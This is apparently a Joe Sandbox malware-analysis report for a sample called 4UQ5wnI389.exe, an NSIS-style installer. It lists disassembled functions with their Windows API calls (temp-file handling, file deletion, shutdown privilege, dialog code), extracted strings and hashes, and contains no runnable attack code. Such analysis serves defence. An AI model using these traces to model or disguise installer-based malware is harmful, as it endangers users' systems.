CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

Low, xrefs: 0040371B
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
TMP, xrefs: 00403735
TEMP, xrefs: 0040372D
Error launching installer, xrefs: 004037D0
NSIS Error, xrefs: 00403567
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
C:\Users\user\Desktop\4UQ5wnI389.exe, xrefs: 004038F8
\Temp, xrefs: 004036FF
C:\Users\user\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
1033, xrefs: 00403749
SeShutdownPrivilege, xrefs: 0040396F
.tmp, xrefs: 00403861
~nsu, xrefs: 00403845

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\4UQ5wnI389.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-3090522732
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

, xrefs: 00405385
M, xrefs: 00404F76
N, xrefs: 00405057

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

0WB, xrefs: 00405B53
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B08
\*.*, xrefs: 00405B65

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1432729950
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,75573420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEd20, xrefs: 00403D06
.DEFAULT\Control Panel\International, xrefs: 00403B44
(7B, xrefs: 00403B04
Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
RichEdit, xrefs: 00403D33
RichEdit20W, xrefs: 00403D24, 00403D2A
RichEd32, xrefs: 00403D14
.exe, xrefs: 00403BE6
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE4
1033, xrefs: 00403AF8, 00403B54
_Nb, xrefs: 00403C5C, 00403CC4
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1642274604
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\4UQ5wnI389.exe,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\4UQ5wnI389.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,C:\Users\user\Desktop\4UQ5wnI389.exe,C:\Users\user\Desktop\4UQ5wnI389.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

soft, xrefs: 00403020
Inst, xrefs: 00403017
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
C:\Users\user\Desktop\4UQ5wnI389.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
Error launching installer, xrefs: 00402F80
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F3D, 00403108
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Null, xrefs: 00403029

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\4UQ5wnI389.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-1698280262
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp$C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll$Call
API String ID: 1941528284-1078035706
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
